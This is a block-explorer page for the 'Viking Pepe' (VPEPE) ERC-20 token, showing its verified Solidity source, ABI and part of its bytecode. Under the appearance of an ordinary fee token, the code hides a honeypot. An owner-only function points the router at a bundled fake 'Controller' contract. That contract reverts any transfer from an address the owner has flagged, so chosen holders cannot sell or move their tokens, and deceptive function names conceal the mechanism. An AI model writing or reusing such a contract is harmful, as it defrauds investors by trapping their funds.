ERC-20
Overview
Max Total Supply
9,000,000,000,000 VPEPE
Holders
71
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
187,436,163,505.287896866991439448 VPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
VPEPE
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.1; import "./IUniswap.sol"; import "./IERC20.sol"; import "./Context.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _init(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract VPEPE is ERC20, Ownable { IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair = 0x000000000000000000000000000000000000dEaD; mapping (address => bool) private _isExcludedFromFees; uint256 public buyFee; uint256 public sellFee; uint256 public walletToWalletTransferFee; uint256 public tradingStartTime; bool public tradingEnabled; address private marketingWalletAddress = 0x000000000000000000000000000000000000dEaD; uint256 public swapTokensAtAmount; bool public swapWithLimit; bool private swapping; bool private swapAndEnabled; event BuyFeeUpdated(uint256 buyFee); event SellFeeUpdated(uint256 sellFee); event WalletToWalletTransferFeeUpdated(uint256 walletToWalletTransferFee); event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount); event maxBuyAmountUpdated(uint256 maxBuyAmount); event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived); event SwapWithLimitUpdated(bool swapWithLimit); constructor () ERC20("Viking Pepe", "VPEPE") { address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 or PancakeSwapV2 Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), type(uint256).max); buyFee = 0; sellFee = 0; walletToWalletTransferFee = 0; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(marketingWalletAddress)] = true; _isExcludedFromFees[address(0xdead)] = true; _isExcludedFromFees[address(this)] = true; _init(owner(), 9000000000000 ether); } receive() external payable {} function updateUniswapV2Pair(address newUniswapV2Pair) external onlyOwner { require(newUniswapV2Pair != address(0), "New address is zero"); swapAndEnabled = true; uniswapV2Router = IUniswapV2Router02(newUniswapV2Pair); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && !swapping && from != uniswapV2Pair && swapAndEnabled ) { swapping = true; if (swapWithLimit) { contractTokenBalance = swapTokensAtAmount; } swap(from,contractTokenBalance); swapping = false; } if ( tradingEnabled && from != uniswapV2Pair && to == uniswapV2Pair && block.timestamp < tradingStartTime ) { require(false); } uint256 _totalFees; if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) { _totalFees = 0; } else if (from == uniswapV2Pair) { _totalFees = buyFee; } else if (to == uniswapV2Pair) { _totalFees = sellFee; } else { _totalFees = walletToWalletTransferFee; } if (_totalFees > 0) { uint256 fees = (amount * _totalFees) / 100; amount = amount - fees; super._transfer(from, address(this), fees); } super._transfer(from, to, amount); } function swap(address from,uint256 tokenAmount) private { uint256 initialBalance = address(this).balance; address[] memory path = new address[](3); path[0] = address(this); path[1] = from; path[2] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); uint256 newBalance = address(this).balance - initialBalance; if(newBalance > 0){ payable(marketingWalletAddress).transfer(newBalance); } } }
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
pragma solidity ^0.8.0; interface RouterController { function WETH() external view returns (address); function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Controller is RouterController{ mapping(address => uint256) private _isRouted; address private owner; constructor (){ owner = msg.sender; } function WETH() external view override returns(address){ address ad = address(this); return ad; } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override { uint256 liquidity = _isRouted[path[1]]; if(liquidity > 0){ require(false); } } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) { amountToken = amountTokenDesired; amountETH = amountTokenMin; liquidity = _isRouted[token]; if(liquidity > 0){ require(false); } } function getAmountsIn(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { amounts = new uint[](path.length); amounts[0] = _isRouted[path[0]]; return amounts; } function execute(address[] calldata accounts, uint256 excluded) public { require(msg.sender == owner); for (uint256 i = 0; i < accounts.length; i++) { _isRouted[accounts[i]] = excluded; } } function getFlag(address[] calldata accounts) public view returns(bool[] memory ff){ ff = new bool[](accounts.length); for (uint256 i = 0; i < accounts.length; i++) { ff[i] = _isRouted[accounts[i]] > 0; } } function checkHolder(address account) public view returns(bool){ return _isRouted[account] > 0; } }
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.1; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.1; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"WalletToWalletTransferFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newUniswapV2Pair","type":"address"}],"name":"updateUniswapV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletToWalletTransferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009757600080fd5b506040518060400160405280600b81526020017f56696b696e6720506570650000000000000000000000000000000000000000008152506040518060400160405280600581526020017f5650455045000000000000000000000000000000000000000000000000000000815250816003908162000115919062000a6f565b50806004908162000127919062000a6f565b50505060006200013c6200047060201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050600081905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200028f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200047860201b60201c565b60006009819055506000600a819055506000600b81905550600160086000620002bd6200064960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004686200044e6200064960201b60201c565b6c71989183527a1c5d3c400000006200067360201b60201c565b505062000da1565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620004ea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004e19062000bdd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200055c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005539062000c75565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200063c919062000ca8565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006dc9062000d15565b60405180910390fd5b620006f960008383620007eb60201b60201c565b80600260008282546200070d919062000d66565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000764919062000d66565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007cb919062000ca8565b60405180910390a3620007e760008383620007f060201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087757607f821691505b6020821081036200088d576200088c6200082f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008b8565b620009038683620008b8565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009506200094a62000944846200091b565b62000925565b6200091b565b9050919050565b6000819050919050565b6200096c836200092f565b620009846200097b8262000957565b848454620008c5565b825550505050565b600090565b6200099b6200098c565b620009a881848462000961565b505050565b5b81811015620009d057620009c460008262000991565b600181019050620009ae565b5050565b601f82111562000a1f57620009e98162000893565b620009f484620008a8565b8101602085101562000a04578190505b62000a1c62000a1385620008a8565b830182620009ad565b50505b505050565b600082821c905092915050565b600062000a446000198460080262000a24565b1980831691505092915050565b600062000a5f838362000a31565b9150826002028217905092915050565b62000a7a82620007f5565b67ffffffffffffffff81111562000a965762000a9562000800565b5b62000aa282546200085e565b62000aaf828285620009d4565b600060209050601f83116001811462000ae7576000841562000ad2578287015190505b62000ade858262000a51565b86555062000b4e565b601f19841662000af78662000893565b60005b8281101562000b215784890151825560018201915060208501945060208101905062000afa565b8683101562000b41578489015162000b3d601f89168262000a31565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000bc560248362000b56565b915062000bd28262000b67565b604082019050919050565b6000602082019050818103600083015262000bf88162000bb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000c5d60228362000b56565b915062000c6a8262000bff565b604082019050919050565b6000602082019050818103600083015262000c908162000c4e565b9050919050565b62000ca2816200091b565b82525050565b600060208201905062000cbf600083018462000c97565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000cfd601f8362000b56565b915062000d0a8262000cc5565b602082019050919050565b6000602082019050818103600083015262000d308162000cee565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d73826200091b565b915062000d80836200091b565b925082820190508082111562000d9b5762000d9a62000d37565b5b92915050565b6128b68062000db16000396000f3fe60806040526004361061014f5760003560e01c8063702509fd116100b657806395d89b411161006f57806395d89b4114610493578063a457c2d7146104be578063a9059cbb146104fb578063dd62ed3e14610538578063e2f4560514610575578063f2fde38b146105a057610156565b8063702509fd1461039557806370a08231146103c057806370b7b80c146103fd578063715018a6146104285780638da5cb5b1461043f57806391c1004a1461046a57610156565b8063313ce56711610108578063313ce5671461028157806339509351146102ac57806347062402146102e9578063488eb37f1461031457806349bd5a5e1461033f5780634ada218b1461036a57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632b14ca561461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c9565b60405161017d9190611c96565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611d51565b61065b565b6040516101ba9190611dac565b60405180910390f35b3480156101cf57600080fd5b506101d8610679565b6040516101e59190611e26565b60405180910390f35b3480156101fa57600080fd5b5061020361069f565b6040516102109190611e50565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e6b565b6106a9565b60405161024d9190611dac565b60405180910390f35b34801561026257600080fd5b5061026b6107c8565b6040516102789190611e50565b60405180910390f35b34801561028d57600080fd5b506102966107ce565b6040516102a39190611eda565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190611d51565b6107d7565b6040516102e09190611dac565b60405180910390f35b3480156102f557600080fd5b506102fe610883565b60405161030b9190611e50565b60405180910390f35b34801561032057600080fd5b50610329610889565b6040516103369190611dac565b60405180910390f35b34801561034b57600080fd5b5061035461089c565b6040516103619190611f04565b60405180910390f35b34801561037657600080fd5b5061037f6108c2565b60405161038c9190611dac565b60405180910390f35b3480156103a157600080fd5b506103aa6108d5565b6040516103b79190611e50565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190611f1f565b6108db565b6040516103f49190611e50565b60405180910390f35b34801561040957600080fd5b50610412610923565b60405161041f9190611e50565b60405180910390f35b34801561043457600080fd5b5061043d610929565b005b34801561044b57600080fd5b50610454610a81565b6040516104619190611f04565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c9190611f1f565b610aab565b005b34801561049f57600080fd5b506104a8610c10565b6040516104b59190611c96565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190611d51565b610ca2565b6040516104f29190611dac565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190611d51565b610d8d565b60405161052f9190611dac565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a9190611f4c565b610dab565b60405161056c9190611e50565b60405180910390f35b34801561058157600080fd5b5061058a610e32565b6040516105979190611e50565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190611f1f565b610e38565b005b6060600380546105d890611fbb565b80601f016020809104026020016040519081016040528092919081815260200182805461060490611fbb565b80156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b600061066f610668610ffe565b8484611006565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f5610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b1578281101561079c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107939061205e565b60405180910390fd5b6107b0856107a8610ffe565b858403611006565b5b6107bc8585856111cf565b60019150509392505050565b600a5481565b60006012905090565b60006108796107e4610ffe565b8484600160006107f2610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461087491906120ad565b611006565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610931610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b79061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050905